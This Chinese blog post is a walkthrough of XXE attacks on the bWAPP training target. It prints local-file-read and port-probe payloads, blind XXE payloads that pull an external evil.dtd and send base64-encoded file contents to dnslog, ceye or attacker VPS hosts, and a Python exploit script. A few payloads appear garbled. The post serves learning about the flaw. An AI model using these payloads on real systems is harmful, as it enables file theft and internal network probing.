介绍

这几天在学习XXE漏洞,这里用靶机bwapp来练习一下这个漏洞,重在学习

xxe漏洞主要针对webservice危险的引用的外部实体并且未对外部实体进行敏感字符的过滤,从而可以造成命令执行,目录遍历等.首先存在漏洞的web服务一定是存在xml传输数据的,可以在http头的content-type中查看,也可以根据url一些常见的关键字进行判断测试,例如wsdl(web服务描述语言)。或者一些常见的采用xml的java服务配置文件(spring,struts2)。

不过现实中存在的大多数xxe漏洞都是blind,即不可见的,必须采用带外通道进行返回信息的记录,这里简单来说就是攻击者必须具有一台具有公网ip的主机.

首先要明白xxe漏洞是如何读取文件的:

<!ENTITY name SYSTEM  "file:///etc/passwd">
<root>&name;</root>

此时服务器会在root节点返回 /etc/passwd 的内容,整个代码运行流程是name实体加载本地文件,并且文件返回值被赋给name.如果没有回显则可以利用带外通信进行测试.

首先观察这个http包,在包头中可以观察到文件接收者以xml的形式读取文件,符合xxe漏洞的条件,然后服务器会正常返回在body中post过去的xml代码执行内容

此时就可以构造恶意的xml代码,可以看见服务器仍是正常返回,说明在服务器端并没有进行过滤,因此可以初步确定此应用存在xxe漏洞(非blind型的xxe).

Bind XXE(盲注XXE)

探测

针对blind的xxe,首先需要判断是否存在XXE漏洞,我这里使用Dnslog平台来验证一下漏洞是否存在

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://bmjoker.oknsow.dnslog.cn">%remote;
]>

可以看到dnslog收到了请求,证明xxe漏洞存在

读取文件

可以构造如下evil.dtd请求payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % dtd SYSTEM "http://47.107.136.25/evil.dtd">
%dtd;%int;%send; ]>
<r></r>

这个是用于直接在http body中提交的恶意xml代码,它会去调用位于我们的主机上的外部xml文件(不在同一个文件写入要读取的文件主要是为了避免参数实体引用时发生的错误)

以下是eval.dtd的内容:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://b7lcxb.dnslog.cn/?p=%file;'>">

具体加载过程:首先加载参数实体 dtd 。此时会远程加载攻击者主机上的外部实体,然后加载 int 参数实体。接下来加载 send 实体,此时就是关键点,就是用于记载服务器端的返回内容(通过get查询方式会在攻击者的服务器日志中留下记录),查询的字符串 p 的值便是参数实体 file 的值,也就是读取的文件。参数实体 int 只是辅助的作用,用于辅助解释参数实体 send 的内容。

问题

1.这个 &#x25 是不是写错了?直接用 % 不行吗?

如果直接使用%号的话,会出现下面的报错

DOMDocument::loadXML(): Entity Value: ‘%’ forbidden except for entities

报错已经说的很清楚,%不允许出现在Entity的value中,所以需要将%进行Unicode编码为 % 或者 %(转化成Unicode编码有两种形式,以&#后接十进制数字,&#x后接十六进制数字)

2.为什么不能直接 "file:///etc/passwd",而要使用php://filter流

因为字符的原因,虽然没有在xml中加特殊字符,但是关于字符,有可见字符,也有不可见字符,所以这种情况,需要十六进制(xxd或者hexdump -C)显示一下是否有系统自己添加的特殊字符,就像echo "hello" > joker,echo命令本身就是回车显示,所以看似没有问题的URL,其实有一个小小的回车(0a)存在,导致保存,无法识别file读取的url路径。所以目前最好的方法就是利用php://filter流来读取文件。

具体使用,下面使用Bwapp具体实践

3.Java怎么使用盲注XXE读取文件

Java在Blind XXE的利用上,读取文件会有些问题

在PHP中,我们可以使用 php://filter/read=convert.base64-encode/resource=/etc/hosts 方法将文本内容进行base64编码。

但是Java中没这样的编码方法,所以如果要读取换行的文件,一般使用FTP协议,HTTP协议会由于存在换行等字符,请求发送失败。FTP读取方法可以参考这篇文章,里面也有FTP Server的相关代码。

http://www.voidcn.com/article/p-njawsjxm-ko.html

但是,我在测试的时候遇到一个问题,FTP请求发出去了,但是Server端只能看到 New client connected 内容,看不到实际发出去的内容。我猜测和Java版本有关。

java -version
java version "1.8.0_121"
Java(TM) SE Runtime Environment (build 1.8.0_121-b13)
Java HotSpot(TM) -Bit Server VM (build 25.121-b13, mixed mode)

Bwapp实践

有回显的xxe:

基本知识也了解的差不多,现在我们打开bwapp靶机:

我们用burp抓包看看数据传输情况(都知道是XXE了,肯定要抓包看看XML数据的传输情况啦):
打开burp,点击页面any bugs进行抓包:

可以看到xxe-1.php页面以post方式向xxe-2.php页面传输了XML数据,所以我们可以自己尝试构建实体,

如果后台没有合理的解析参数,就有可以造成XXE漏洞。修改的内容,知道这里解析login参数并回显

增加一个恶意外部实体然后在原本的XML数据中进行实体调用,来进行XXE攻击。具体如图,右侧

为返回的d:/xxetest.txt文件内容,XXE攻击成功,我们读取了windows的重要文件:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE copyright [
<!ENTITY test SYSTEM "file:///d://xxetest.txt">
]>
<reset>
<login>&test;</login>
<secret>login</secret>
</reset>

当然,我们也可以利用XXE来读取网站目录下的一些重要文件,p.s:读取内网中其他服务器文件也是可行的,

这也是BWAPP作者将XXE归到SSRF利用里原因,我们随便测试个文件试试看,右侧返回了文件内容:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test copyright[http://172.19.89.86/bWAPP/bWAPP/robots.txt">
]>
<reset>
<login>&test;</login>
<secret>login</secret>
</reset>

我们也可以来测试端口是否开放,这里拿80端口是否开放演示:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY xxe SYSTEM "http://127.0.0.1:80">
]> <reset><login>&xxe;</login><secret>Any bugs?</secret></reset>

若80端口开放,回显如下的报错信息

若端口不开放,则显示如下信息:

利用python写了一个简单的exp,进行测试,如下:

#coding=utf-
import requests if __name__ == '__main__': payload = raw_input('输入你想利用xxe得到的资源,如file:///etc/passwd\npayload:'.decode('utf-8').encode('gbk')) url = 'http://172.19.89.86/bWAPP/bWAPP/xxe-2.php'
headers = {'Content-type':'text/xml'} cookies = {'PHPSESSID':'0gbae4b3f9fsofkcdn4k33ere1','security_level':''} xml = '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE copyright[<!ENTITY test SYSTEM "'+ payload +'">]><reset><login>&test;</login><secret>login</secret></reset>' r = requests.post(url,headers=headers,cookies=cookies,data=xml)
print 'xxe攻击返回结果:'.decode('utf-8').encode('gbk')
print r.content

读取d:/xxetest.txt:


读取robots.txt:

无回显XXE读取文件

先进行判断是否存在漏洞,直接去解析DNSlog平台

收到dns解析记录,说明存在xxe漏洞

在服务器上构造evil.dtd,内容如下:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/xxetest.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://cgafwj.ceye.io/?p=%file;'>">

然后在http body中提交的恶意xml代码,它会去调用位于我们的主机上的外部dtd文件:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % dtd SYSTEM "http://47.107.136.25/evil.dtd">
%dtd;%int;%send; ]>

这个时候看一下DNSlog平台是否收到记录:

http收到请求:

dns也受到解析记录:

参数p后面就是读取的本地文件的base64后的内容,解密:

成功实现xxe盲注读取本地文件。

也可以使用下面的方法:

vps上的xml.dtd:

<!ENTITY % all "<!ENTITY % send SYSTEM 'http://VPS的地址:2121/%file;'>">
%all;

然后在VPS上用python在2121端口起另一个http服务

python -m SimpleHTTPServer 

本地提交:

<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "http://VPS的http服务/xml.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/Users/mi/Desktop/1.txt">
%remote;
%send;
]>

就会看到监听的端口收到数据。

参考链接:

https://blog.csdn.net/u011721501/article/details/43775691#commentBox

https://thief.one/2017/06/20/1/

http://duyana.top/post/7eb7e3d8/

https://m3lon.github.io/2019/01/20/xxe%E5%AE%9E%E9%AA%8C%E8%B8%A9%E5%9D%91%E8%AE%B0%E5%BD%95/

8.bwapp亲测xxe漏洞的更多相关文章

  1. 1.4 DVWA亲测XSS漏洞

    首先需要有配置好的DVWA环境,像下图这样   其中: XSS (DOM) :  DOM型XSS漏洞 XSS (Reflected) : 反射性XSS漏洞  XSS (Stored) :  存储型XS ...

  2. 2. DVWA亲测CSRF漏洞

    DVWA登陆      用户名:admin   密码:password Low级: 查看源代码: <?php if (isset($_GET['Change'])) { // Turn requ ...

  3. [Web安全] XXE漏洞攻防学习(中)

    0x00.XXE漏洞攻击实例 攻击思路: 1. 引用外部实体远程文件读取 2. Blind XXE 3. Dos 0x01.外部实体引用,有回显 实验操作平台:bWAPP平台上的XXE题目 题目: 进 ...

  4. web应用下的安全问题以及tomcat/nginx对应解决方法(持续更新、亲测可解决问题)

    最近一券商那边扫描反馈了下面几个非业务型安全漏洞,要求解决,如下: XSS 自己写个脚本response的时候对特殊字符进行了处理,或者网上搜下一堆(不要忘了回车.换行). HTML form wit ...

  5. XXE漏洞原理及利用

    0x01概述 XXE(外部实体注入)是XML注入的一种,普通的XML注入利用面比较狭窄,如果有的话也是逻辑类漏洞.XXE扩大了攻击面. 当允许引用外部实体时,就可能导致任意文件读取.系统命令执行.内网 ...

  6. nginx代理https站点(亲测)

    nginx代理https站点(亲测) 首先,我相信大家已经搞定了nginx正常代理http站点的方法,下面重点介绍代理https站点的配置方法,以及注意事项,因为目前大部分站点有转换https的需要所 ...

  7. C#读取Excel设置(亲测可用)

    OpenFileDialog openFD = new OpenFileDialog(); openFD.FileName = ""; openFD.Filter = " ...

  8. ASP.NET中的文件操作(文件信息,新建,移动,复制,重命名,上传,遍历)(亲测详细)

    做了几天的文件操作,现在来总结一下,错误之处,还望指点!以文件为例,如果对文件夹操作,基本上将File换为Directory即可(例:FileInfo file = new FileInfo(Path ...

  9. 推荐几个最好用的CRM软件,本人亲测

    CRM是英文Customer Relationship Management 的简写,一般译作“客户关系管理”.CRM最早产生于美国,由Gartner Group 首先提出的CRM这个概念的.20世纪 ...

随机推荐

  1. debian下蓝牙适配器的配置和使用

    本文打算将蓝牙适配器和手机蓝牙进行配对. 买了个支持蓝牙4.0协议的蓝牙适配器,将其插入到pc(debian 7.4)的usb口. 查看手机蓝牙信息: 选择手机中"设置"-> ...

  2. 剑指offer——树中两个节点的最低公共祖先

    代码来源与<剑指offer> 得到从根节点开始到输入的两个结点的两条,需要遍历两次树,每遍历一次的时间复杂度是O(n),得到的两条路径的长度在最差情况时是O(n),通常情况下两条路径的长度 ...

  3. Python 案例一(计算人体体脂率)

    #计算人体体脂率 #输入部分 #身高 personHeight = input("请输入你的身高(m):") personHeight = float(personHeight) ...

  4. thinkphp 的 Action 控制器中的系统常量总结

    THINK_PATH // ThinkPHP系统目录 APP_PATH // 当前项目目录 APP_NAME // 当前项目名称 CONTROLLER_NAME // 当前控制器名称 MODULE_N ...

  5. java深入探究06

    Tomcat中获取资源文件: ServletContext().getRealPath(/WEB-INF/classes/db.properties);//获取资源文件的在服务器中的绝对路径 Serv ...

  6. linux学习系列三

    1. 账户与账户安全 账户和组是操作系统的基本概念,linux的组有基本组和附加组之分,一个用户只可以加入到一个基本组中国,但是可以加入到多个附加组中.创建用户时,系统默认会自动创建同名的组,并设置用 ...

  7. JavaScriptr -- 常用对象 String, date, prototype

    <script type="text/javascript"> //给已有的对象添加自定义功能 function getMax() { var max = this[0 ...

  8. Python- and & or 的短路原则

    条件1 and 条件2 条件1 or 条件2 短路原则 对于and 如果前面的第一个条件为假,那么这个and前后两个条件组成的表达式的计算结果就一定为假,第二个条件就不会被计算 对于or 如果前面的第 ...

  9. POJ 1679 The Unique MST:次小生成树【倍增】

    题目链接:http://poj.org/problem?id=1679 题意: 给你一个图,问你这个图的最小生成树是否唯一. 题解: 求这个图的最小生成树和次小生成树.如果相等,则说明不唯一. 次小生 ...

  10. angularjs file upload插件使用总结

    之前由于项目需要,决定使用angularjs做前端开发,在前两个项目中都有文件上传的功能,因为是刚接触angularjs,所以对一些模块和模块间的依赖不是很了解.都是由其他大神搭好框架,我只做些简单的 ...